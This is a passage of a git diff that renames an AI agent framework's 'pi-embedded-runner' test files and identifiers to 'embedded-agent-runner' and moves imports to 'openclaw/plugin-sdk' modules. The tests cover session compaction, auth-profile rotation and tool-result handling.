`live-cache:${params.providerTag}:${params.sessionId}`, sessionFile: sessionPaths.sessionFile, @@ -354,7 +354,7 @@ async function compactLiveCacheSession(params: { const sessionPaths = buildRunnerSessionPaths(params.sessionId); await fs.mkdir(sessionPaths.workspaceDir, { recursive: true }); return await withLiveCacheHeartbeat( - compactEmbeddedPiSessionDirect({ + compactEmbeddedAgentSessionDirect({ sessionId: params.sessionId, sessionKey: `live-cache:${params.providerTag}:${params.sessionId}`, sessionFile: sessionPaths.sessionFile, @@ -752,7 +752,7 @@ async function runAnthropicImageCacheProbe(params: { }; } -describeCacheLive("pi embedded runner prompt caching (live)", () => { +describeCacheLive("embedded agent runner prompt caching (live)", () => { beforeAll(async () => { liveRunnerRootDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-live-cache-")); liveCacheTraceFile = path.join(liveRunnerRootDir, "cache-trace.jsonl"); diff --git a/src/agents/pi-embedded-runner.compaction-safety-timeout.test.ts b/src/agents/embedded-agent-runner.compaction-safety-timeout.test.ts similarity index 99% rename from src/agents/pi-embedded-runner.compaction-safety-timeout.test.ts rename to src/agents/embedded-agent-runner.compaction-safety-timeout.test.ts index 7938ba424fc..d986c34a635 100644 --- a/src/agents/pi-embedded-runner.compaction-safety-timeout.test.ts +++ b/src/agents/embedded-agent-runner.compaction-safety-timeout.test.ts @@ -5,7 +5,7 @@ import { compactWithSafetyTimeout, EMBEDDED_COMPACTION_TIMEOUT_MS, resolveCompactionTimeoutMs, -} from "./pi-embedded-runner/compaction-safety-timeout.js"; +} from "./embedded-agent-runner/compaction-safety-timeout.js"; describe("compactWithSafetyTimeout", () => { beforeEach(() => { diff --git a/src/agents/pi-embedded-runner.createsystempromptoverride.test.ts b/src/agents/embedded-agent-runner.createsystempromptoverride.test.ts similarity index 85% rename from src/agents/pi-embedded-runner.createsystempromptoverride.test.ts rename to src/agents/embedded-agent-runner.createsystempromptoverride.test.ts index 439ba9148a0..f0fb97973b3 100644 --- a/src/agents/pi-embedded-runner.createsystempromptoverride.test.ts +++ b/src/agents/embedded-agent-runner.createsystempromptoverride.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { createSystemPromptOverride } from "./pi-embedded-runner.js"; +import { createSystemPromptOverride } from "./embedded-agent-runner.js"; describe("createSystemPromptOverride", () => { it("returns the override prompt trimmed", () => { diff --git a/src/agents/pi-embedded-runner.e2e.test.ts b/src/agents/embedded-agent-runner.e2e.test.ts similarity index 87% rename from src/agents/pi-embedded-runner.e2e.test.ts rename to src/agents/embedded-agent-runner.e2e.test.ts index 6d9cc615487..00310e45d64 100644 --- a/src/agents/pi-embedded-runner.e2e.test.ts +++ b/src/agents/embedded-agent-runner.e2e.test.ts @@ -4,19 +4,19 @@ import "./test-helpers/fast-coding-tools.js"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { buildEmbeddedRunnerAssistant, - cleanupEmbeddedPiRunnerTestWorkspace, + cleanupEmbeddedAgentRunnerTestWorkspace, createMockUsage, - createEmbeddedPiRunnerOpenAiConfig, + createEmbeddedAgentRunnerOpenAiConfig, createResolvedEmbeddedRunnerModel, - createEmbeddedPiRunnerTestWorkspace, - type EmbeddedPiRunnerTestWorkspace, + createEmbeddedAgentRunnerTestWorkspace, + type EmbeddedAgentRunnerTestWorkspace, immediateEnqueue, makeEmbeddedRunnerAttempt, -} from "./test-helpers/pi-embedded-runner-e2e-fixtures.js"; +} from "./test-helpers/embedded-agent-runner-e2e-fixtures.js"; import { installEmbeddedRunnerBaseE2eMocks, installEmbeddedRunnerFastRunE2eMocks, -} from "./test-helpers/pi-embedded-runner-e2e-mocks.js"; +} from "./test-helpers/embedded-agent-runner-e2e-mocks.js"; const runEmbeddedAttemptMock = vi.fn(); const disposeSessionMcpRuntimeMock = vi.fn<(sessionId: string) => Promise>(async () => { @@ -31,9 +31,9 @@ const ensureOpenClawModelsJsonMock = vi.fn(async () => ({ wrote: false })); const loggerWarnMock = vi.fn(); let refreshRuntimeAuthOnFirstPromptError = false; -vi.mock("@earendil-works/pi-ai", async () => { +vi.mock("openclaw/plugin-sdk/llm", async () => { const actual = - await vi.importActual("@earendil-works/pi-ai"); + await vi.importActual("openclaw/plugin-sdk/llm"); const buildAssistantMessage = (model: { api: string; provider: string; id: string }) => ({ role: "assistant" as const, @@ -105,9 +105,9 @@ const installRunEmbeddedMocks = () => { resolveStoredSessionKeyForSessionIdMock(opts), }; }); - vi.doMock("./pi-embedded-runner/logger.js", async () => { - const actual = await vi.importActual( - "./pi-embedded-runner/logger.js", + vi.doMock("./embedded-agent-runner/logger.js", async () => { + const actual = await vi.importActual( + "./embedded-agent-runner/logger.js", ); return { ...actual, @@ -117,15 +117,15 @@ const installRunEmbeddedMocks = () => { }, }; }); - vi.doMock("./pi-bundle-mcp-tools.js", () => ({ + vi.doMock("./agent-bundle-mcp-tools.js", () => ({ disposeSessionMcpRuntime: (sessionId: string) => disposeSessionMcpRuntimeMock(sessionId), retireSessionMcpRuntimeForSessionKey: () => Promise.resolve(false), retireSessionMcpRuntime: ({ sessionId }: { sessionId?: string | null }) => sessionId ? disposeSessionMcpRuntimeMock(sessionId) : Promise.resolve(false), })); - vi.doMock("./pi-embedded-runner/model.js", async () => { - const actual = await vi.importActual( - "./pi-embedded-runner/model.js", + vi.doMock("./embedded-agent-runner/model.js", async () => { + const actual = await vi.importActual( + "./embedded-agent-runner/model.js", ); return { ...actual, @@ -133,7 +133,7 @@ const installRunEmbeddedMocks = () => { resolveModelAsyncMock(...args), }; }); - vi.doMock("./pi-embedded-runner/run/auth-controller.js", () => ({ + vi.doMock("./embedded-agent-runner/run/auth-controller.js", () => ({ createEmbeddedRunAuthController: () => ({ advanceAuthProfile: vi.fn(async () => false), initializeAuthProfile: vi.fn(async () => undefined), @@ -153,9 +153,9 @@ const installRunEmbeddedMocks = () => { }); }; -let runEmbeddedPiAgent: typeof import("./pi-embedded-runner/run.js").runEmbeddedPiAgent; -let SessionManager: typeof import("@earendil-works/pi-coding-agent").SessionManager; -let e2eWorkspace: EmbeddedPiRunnerTestWorkspace | undefined; +let runEmbeddedAgent: typeof import("./embedded-agent-runner/run.js").runEmbeddedAgent; +let SessionManager: typeof import("openclaw/plugin-sdk/agent-sessions").SessionManager; +let e2eWorkspace: EmbeddedAgentRunnerTestWorkspace | undefined; let agentDir: string; let workspaceDir: string; let sessionCounter = 0; @@ -165,14 +165,14 @@ beforeAll(async () => { vi.useRealTimers(); vi.resetModules(); installRunEmbeddedMocks(); - ({ runEmbeddedPiAgent } = await import("./pi-embedded-runner/run.js")); - ({ SessionManager } = await import("@earendil-works/pi-coding-agent")); - e2eWorkspace = await createEmbeddedPiRunnerTestWorkspace("openclaw-embedded-agent-"); + ({ runEmbeddedAgent } = await import("./embedded-agent-runner/run.js")); + ({ SessionManager } = await import("openclaw/plugin-sdk/agent-sessions")); + e2eWorkspace = await createEmbeddedAgentRunnerTestWorkspace("openclaw-embedded-agent-"); ({ agentDir, workspaceDir } = e2eWorkspace); }, 180_000); afterAll(async () => { - await cleanupEmbeddedPiRunnerTestWorkspace(e2eWorkspace); + await cleanupEmbeddedAgentRunnerTestWorkspace(e2eWorkspace); e2eWorkspace = undefined; }); @@ -220,8 +220,8 @@ const runWithOrphanedSingleUserMessage = async (text: string, sessionKey: string }), ); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); - return await runEmbeddedPiAgent({ + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); + return await runEmbeddedAgent({ sessionId: "session:test", sessionKey, sessionFile, @@ -268,7 +268,7 @@ const readSessionMessages = async (sessionFile: string) => { }; const runDefaultEmbeddedTurn = async (sessionFile: string, prompt: string, sessionKey: string) => { - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-error"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-error"]); runEmbeddedAttemptMock.mockResolvedValueOnce( makeEmbeddedRunnerAttempt({ assistantTexts: ["ok"], @@ -277,7 +277,7 @@ const runDefaultEmbeddedTurn = async (sessionFile: string, prompt: string, sessi }), }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "session:test", sessionKey, sessionFile, @@ -305,10 +305,10 @@ function firstRunEmbeddedAttemptParams(): { sessionKey?: string } { return firstMockCall(runEmbeddedAttemptMock, "embedded attempt")[0] as { sessionKey?: string }; } -describe("runEmbeddedPiAgent", () => { +describe("runEmbeddedAgent", () => { it("skips models.json generation when dynamic model resolution succeeds", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig([]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig([]); runEmbeddedAttemptMock.mockResolvedValueOnce( makeEmbeddedRunnerAttempt({ assistantTexts: ["ok"], @@ -318,7 +318,7 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "dynamic-model", sessionFile, workspaceDir, @@ -338,14 +338,14 @@ describe("runEmbeddedPiAgent", () => { expect(resolveModelCall?.[2]).toBe(agentDir); expect(resolveModelCall?.[3]).toBe(cfg); expect( - (resolveModelCall?.[4] as { skipPiDiscovery?: boolean } | undefined)?.skipPiDiscovery, + (resolveModelCall?.[4] as { skipAgentDiscovery?: boolean } | undefined)?.skipAgentDiscovery, ).toBe(true); expect(ensureOpenClawModelsJsonMock).not.toHaveBeenCalled(); }); - it("resolves explicit OpenAI PI runs through Codex when auth order starts with Codex OAuth", async () => { + it("resolves explicit OpenAI OpenClaw runs through Codex when auth order starts with Codex OAuth", async () => { const sessionFile = nextSessionFile(); - const baseConfig = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const baseConfig = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); const openAIProvider = baseConfig.models?.providers?.openai; if (!openAIProvider) { throw new Error("expected OpenAI provider test config"); @@ -364,7 +364,7 @@ describe("runEmbeddedPiAgent", () => { defaults: { models: { "openai/mock-1": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -384,8 +384,8 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ - sessionId: "codex-first-pi", + await runEmbeddedAgent({ + sessionId: "codex-first-openclaw", sessionFile, workspaceDir, config: cfg, @@ -394,7 +394,7 @@ describe("runEmbeddedPiAgent", () => { model: "mock-1", timeoutMs: 5_000, agentDir, - runId: nextRunId("codex-first-pi"), + runId: nextRunId("codex-first-openclaw"), enqueue: immediateEnqueue, }); @@ -404,7 +404,7 @@ describe("runEmbeddedPiAgent", () => { "mock-1", agentDir, cfg, - expect.objectContaining({ skipPiDiscovery: true }), + expect.objectContaining({ skipAgentDiscovery: true }), ); expect(resolveModelAsyncMock).toHaveBeenNthCalledWith( 2, @@ -412,7 +412,7 @@ describe("runEmbeddedPiAgent", () => { "mock-1", agentDir, cfg, - expect.objectContaining({ skipPiDiscovery: true }), + expect.objectContaining({ skipAgentDiscovery: true }), ); expect( (firstRunEmbeddedAttemptParams() as { model?: { provider?: string } }).model?.provider, @@ -421,7 +421,7 @@ describe("runEmbeddedPiAgent", () => { it("backfills a trimmed session key from sessionId when the embedded run omits it", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); resolveSessionKeyForRequestMock.mockReturnValue({ sessionKey: "agent:test:resolved", sessionStore: {}, @@ -436,7 +436,7 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "resume-123", sessionKey: " ", sessionFile, @@ -462,7 +462,7 @@ describe("runEmbeddedPiAgent", () => { it("drops whitespace-only session keys when backfill cannot resolve a session key", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); resolveSessionKeyForRequestMock.mockReturnValue({ sessionKey: undefined, sessionStore: {}, @@ -477,7 +477,7 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "resume-124", sessionKey: " ", sessionFile, @@ -503,7 +503,7 @@ describe("runEmbeddedPiAgent", () => { it("logs when embedded session-key backfill resolution fails", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); resolveSessionKeyForRequestMock.mockImplementation(() => { throw new Error("resolver exploded"); }); @@ -516,7 +516,7 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "resume-456", sessionFile, workspaceDir, @@ -539,7 +539,7 @@ describe("runEmbeddedPiAgent", () => { it("passes the current agentId when backfilling a session key", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); resolveStoredSessionKeyForSessionIdMock.mockReturnValue({ sessionKey: "agent:test:resolved", sessionStore: {}, @@ -554,7 +554,7 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "resume-agent-1", sessionKey: undefined, sessionFile, @@ -580,7 +580,7 @@ describe("runEmbeddedPiAgent", () => { it("disposes bundle MCP once when a one-shot local run completes", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); const sessionKey = nextSessionKey(); runEmbeddedAttemptMock.mockResolvedValueOnce( makeEmbeddedRunnerAttempt({ @@ -591,7 +591,7 @@ describe("runEmbeddedPiAgent", () => { }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "session:test", sessionKey, sessionFile, @@ -615,7 +615,7 @@ describe("runEmbeddedPiAgent", () => { it("preserves bundle MCP state across retries within one local run", async () => { refreshRuntimeAuthOnFirstPromptError = true; const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-1"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-1"]); const sessionKey = nextSessionKey(); runEmbeddedAttemptMock .mockImplementationOnce(async () => { @@ -634,7 +634,7 @@ describe("runEmbeddedPiAgent", () => { }); }); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: "session:test", sessionKey, sessionFile, @@ -658,7 +658,7 @@ describe("runEmbeddedPiAgent", () => { it("retries a planning-only GPT turn once with an act-now steer", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["gpt-5.4"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["gpt-5.4"]); const sessionKey = nextSessionKey(); runEmbeddedAttemptMock @@ -690,7 +690,7 @@ describe("runEmbeddedPiAgent", () => { }); }); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: "session:test", sessionKey, sessionFile, @@ -711,7 +711,7 @@ describe("runEmbeddedPiAgent", () => { it("handles prompt error paths without dropping user state", async () => { const sessionFile = nextSessionFile(); - const cfg = createEmbeddedPiRunnerOpenAiConfig(["mock-error"]); + const cfg = createEmbeddedAgentRunnerOpenAiConfig(["mock-error"]); const sessionKey = nextSessionKey(); runEmbeddedAttemptMock.mockResolvedValueOnce( makeEmbeddedRunnerAttempt({ @@ -719,7 +719,7 @@ describe("runEmbeddedPiAgent", () => { }), ); await expect( - runEmbeddedPiAgent({ + runEmbeddedAgent({ sessionId: "session:test", sessionKey, sessionFile, diff --git a/src/agents/pi-embedded-runner.extensions.test.ts b/src/agents/embedded-agent-runner.extensions.test.ts similarity index 95% rename from src/agents/pi-embedded-runner.extensions.test.ts rename to src/agents/embedded-agent-runner.extensions.test.ts index a88bb9cf69a..277fdbb7180 100644 --- a/src/agents/pi-embedded-runner.extensions.test.ts +++ b/src/agents/embedded-agent-runner.extensions.test.ts @@ -1,8 +1,8 @@ -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it } from "vitest"; import { createEmptyPluginRegistry } from "../plugins/registry.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; -import { buildEmbeddedExtensionFactories } from "./pi-embedded-runner/extensions.js"; +import { buildEmbeddedExtensionFactories } from "./embedded-agent-runner/extensions.js"; import { cleanupTempPluginTestEnvironment } from "./test-helpers/temp-plugin-extension-fixtures.js"; const originalBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; @@ -25,7 +25,7 @@ describe("buildEmbeddedExtensionFactories", () => { event.result.content = [{ type: "text", text: `compacted ${seenToolCallIds.length}` }]; return undefined; }, - runtimes: ["pi"], + runtimes: ["openclaw"], source: "test", }); setActivePluginRegistry(registry); @@ -65,8 +65,8 @@ describe("buildEmbeddedExtensionFactories", () => { details: {}, }); expect(seenToolCallIds).toHaveLength(2); - expect(seenToolCallIds[0]).toMatch(/^pi-/); - expect(seenToolCallIds[1]).toMatch(/^pi-/); + expect(seenToolCallIds[0]).toMatch(/^openclaw-/); + expect(seenToolCallIds[1]).toMatch(/^openclaw-/); expect(seenToolCallIds[0]).not.toBe(seenToolCallIds[1]); }); @@ -124,7 +124,7 @@ describe("buildEmbeddedExtensionFactories", () => { event.result.details = { redacted: true }; return undefined; }, - runtimes: ["pi"], + runtimes: ["openclaw"], source: "test", }); setActivePluginRegistry(registry); diff --git a/src/agents/pi-embedded-runner.guard.test.ts b/src/agents/embedded-agent-runner.guard.test.ts similarity index 98% rename from src/agents/pi-embedded-runner.guard.test.ts rename to src/agents/embedded-agent-runner.guard.test.ts index b3af06e19fc..e5054649e93 100644 --- a/src/agents/pi-embedded-runner.guard.test.ts +++ b/src/agents/embedded-agent-runner.guard.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { guardSessionManager } from "./session-tool-result-guard-wrapper.js"; diff --git a/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts b/src/agents/embedded-agent-runner.guard.waitforidle-before-flush.test.ts similarity index 96% rename from src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts rename to src/agents/embedded-agent-runner.guard.waitforidle-before-flush.test.ts index 9b96e4d5e04..650d1546fc5 100644 --- a/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts +++ b/src/agents/embedded-agent-runner.guard.waitforidle-before-flush.test.ts @@ -1,7 +1,7 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { flushPendingToolResultsAfterIdle } from "./pi-embedded-runner/wait-for-idle-before-flush.js"; +import { flushPendingToolResultsAfterIdle } from "./embedded-agent-runner/wait-for-idle-before-flush.js"; import { guardSessionManager } from "./session-tool-result-guard-wrapper.js"; function assistantToolCall(id: string): AgentMessage { diff --git a/src/agents/pi-embedded-runner.limithistoryturns.test.ts b/src/agents/embedded-agent-runner.limithistoryturns.test.ts similarity index 96% rename from src/agents/pi-embedded-runner.limithistoryturns.test.ts rename to src/agents/embedded-agent-runner.limithistoryturns.test.ts index 0cd5ccfc79e..1b217d65ad5 100644 --- a/src/agents/pi-embedded-runner.limithistoryturns.test.ts +++ b/src/agents/embedded-agent-runner.limithistoryturns.test.ts @@ -1,6 +1,6 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; -import { limitHistoryTurns } from "./pi-embedded-runner/history.js"; +import { limitHistoryTurns } from "./embedded-agent-runner/history.js"; describe("limitHistoryTurns", () => { const mockUsage = { diff --git a/src/agents/pi-embedded-runner.openai-tool-id-preservation.test.ts b/src/agents/embedded-agent-runner.openai-tool-id-preservation.test.ts similarity index 96% rename from src/agents/pi-embedded-runner.openai-tool-id-preservation.test.ts rename to src/agents/embedded-agent-runner.openai-tool-id-preservation.test.ts index 30080615c9d..7f5509df067 100644 --- a/src/agents/pi-embedded-runner.openai-tool-id-preservation.test.ts +++ b/src/agents/embedded-agent-runner.openai-tool-id-preservation.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { beforeAll, describe, expect, it, vi } from "vitest"; import { createSanitizeSessionHistoryHelpersMock, @@ -8,10 +8,10 @@ import { makeInMemorySessionManager, makeModelSnapshotEntry, type SanitizeSessionHistoryHarness, -} from "./pi-embedded-runner.sanitize-session-history.test-harness.js"; +} from "./embedded-agent-runner.sanitize-session-history.test-harness.js"; import { castAgentMessage } from "./test-helpers/agent-message-fixtures.js"; -vi.mock("./pi-embedded-helpers.js", async () => await createSanitizeSessionHistoryHelpersMock()); +vi.mock("./embedded-agent-helpers.js", async () => await createSanitizeSessionHistoryHelpersMock()); vi.mock( "../plugins/provider-runtime.js", diff --git a/src/agents/pi-embedded-runner.resolvesessionagentids.test.ts b/src/agents/embedded-agent-runner.resolvesessionagentids.test.ts similarity index 100% rename from src/agents/pi-embedded-runner.resolvesessionagentids.test.ts rename to src/agents/embedded-agent-runner.resolvesessionagentids.test.ts diff --git a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts b/src/agents/embedded-agent-runner.run-embedded-agent.auth-profile-rotation.e2e.test.ts similarity index 96% rename from src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts rename to src/agents/embedded-agent-runner.run-embedded-agent.auth-profile-rotation.e2e.test.ts index 8c47e335c89..f5de9c421ba 100644 --- a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts +++ b/src/agents/embedded-agent-runner.run-embedded-agent.auth-profile-rotation.e2e.test.ts @@ -1,18 +1,18 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { redactIdentifier } from "../logging/redact-identifier.js"; import type { AuthProfileFailureReason } from "./auth-profiles.js"; -import { buildAttemptReplayMetadata } from "./pi-embedded-runner/run/incomplete-turn.js"; -import type { EmbeddedRunAttemptResult } from "./pi-embedded-runner/run/types.js"; +import { buildAttemptReplayMetadata } from "./embedded-agent-runner/run/incomplete-turn.js"; +import type { EmbeddedRunAttemptResult } from "./embedded-agent-runner/run/types.js"; import { installEmbeddedRunnerBackoffE2eMocks, installEmbeddedRunnerBaseE2eMocks, installEmbeddedRunnerFastRunE2eMocks, -} from "./test-helpers/pi-embedded-runner-e2e-mocks.js"; +} from "./test-helpers/embedded-agent-runner-e2e-mocks.js"; const runEmbeddedAttemptMock = vi.fn<(params: unknown) => Promise>(); const resolveCopilotApiTokenMock = vi.fn(); @@ -42,7 +42,7 @@ const installRunEmbeddedMocks = () => { }; }, }); - vi.doMock("./pi-embedded-runner/model.js", () => ({ + vi.doMock("./embedded-agent-runner/model.js", () => ({ resolveModelAsync: async (provider: string, modelId: string) => ({ model: { id: modelId, @@ -68,8 +68,8 @@ const installRunEmbeddedMocks = () => { computeBackoff: (policy, attempt) => computeBackoffMock(policy, attempt), sleepWithAbort: (ms, abortSignal) => sleepWithAbortMock(ms, abortSignal), }); - vi.doMock("./pi-embedded-runner/compact.js", () => ({ - compactEmbeddedPiSessionDirect: vi.fn(async () => { + vi.doMock("./embedded-agent-runner/compact.js", () => ({ + compactEmbeddedAgentSessionDirect: vi.fn(async () => { throw new Error("compact should not run in auth profile rotation tests"); }), })); @@ -82,7 +82,7 @@ const installRunEmbeddedMocks = () => { }); }; -let runEmbeddedPiAgent: typeof import("./pi-embedded-runner/run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./embedded-agent-runner/run.js").runEmbeddedAgent; let authProfileUsageTesting: typeof import("./auth-profiles/usage.js").testing; let createDiagnosticLogRecordCaptureFn: typeof import("../logging/test-helpers/diagnostic-log-capture.js").createDiagnosticLogRecordCapture; let cleanupLogCapture: (() => void) | undefined; @@ -93,7 +93,7 @@ const originalFetch = globalThis.fetch; beforeAll(async () => { vi.resetModules(); installRunEmbeddedMocks(); - ({ runEmbeddedPiAgent } = await import("./pi-embedded-runner/run.js")); + ({ runEmbeddedAgent } = await import("./embedded-agent-runner/run.js")); ({ testing: authProfileUsageTesting } = await import("./auth-profiles/usage.js")); ({ createDiagnosticLogRecordCapture: createDiagnosticLogRecordCaptureFn } = await import("../logging/test-helpers/diagnostic-log-capture.js")); @@ -101,10 +101,10 @@ beforeAll(async () => { await import("../logging/logger.js")); }); -async function runEmbeddedPiAgentInline( - params: Parameters[0], -): Promise>> { - return await runEmbeddedPiAgent({ +async function runEmbeddedAgentInline( + params: Parameters[0], +): Promise>> { + return await runEmbeddedAgent({ ...params, enqueue: async (task) => await task(), }); @@ -444,7 +444,7 @@ async function runAutoPinnedOpenAiTurn(params: { authProfileId?: string; config?: OpenClawConfig; }) { - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: params.sessionKey, sessionFile: path.join(params.workspaceDir, "session.jsonl"), @@ -665,7 +665,7 @@ async function runTurnWithCooldownSeed(params: { }); mockSingleSuccessfulAttempt(); - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: params.sessionKey, sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -686,7 +686,7 @@ async function runTurnWithCooldownSeed(params: { }); } -describe("runEmbeddedPiAgent auth profile rotation", () => { +describe("runEmbeddedAgent auth profile rotation", () => { it("refreshes copilot token after auth error and retries once", async () => { const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); @@ -730,7 +730,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:copilot-auth-error", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -815,7 +815,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:copilot-auth-repeat", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -863,7 +863,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - const runPromise = runEmbeddedPiAgentInline({ + const runPromise = runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:copilot-shutdown", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1067,7 +1067,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - const result = await runEmbeddedPiAgentInline({ + const result = await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:compaction-timeout", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1106,7 +1106,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - const result = await runEmbeddedPiAgentInline({ + const result = await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:compaction-wait-abort", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1135,7 +1135,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { mockSingleErrorAttempt({ errorMessage: "rate limit" }); await expectFailoverError( - runEmbeddedPiAgentInline({ + runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:user", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1185,7 +1185,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); mockSingleSuccessfulAttempt(); - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:user-order-excluded", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1214,7 +1214,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { await writeOpenAiCodexAuthStore(agentDir); mockSingleSuccessfulAttempt(); - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:user-auth-alias", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1255,7 +1255,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - await runEmbeddedPiAgentInline({ + await runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:mismatch", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1297,7 +1297,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); await expectFailoverError( - runEmbeddedPiAgentInline({ + runEmbeddedAgentInline({ sessionId: "session:test", sessionKey: "agent:test:cooldown-failover", sessionFile: path.join(workspaceDir, "session.jsonl"), @@ -1341,7 +1341,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }), ); - const result = await 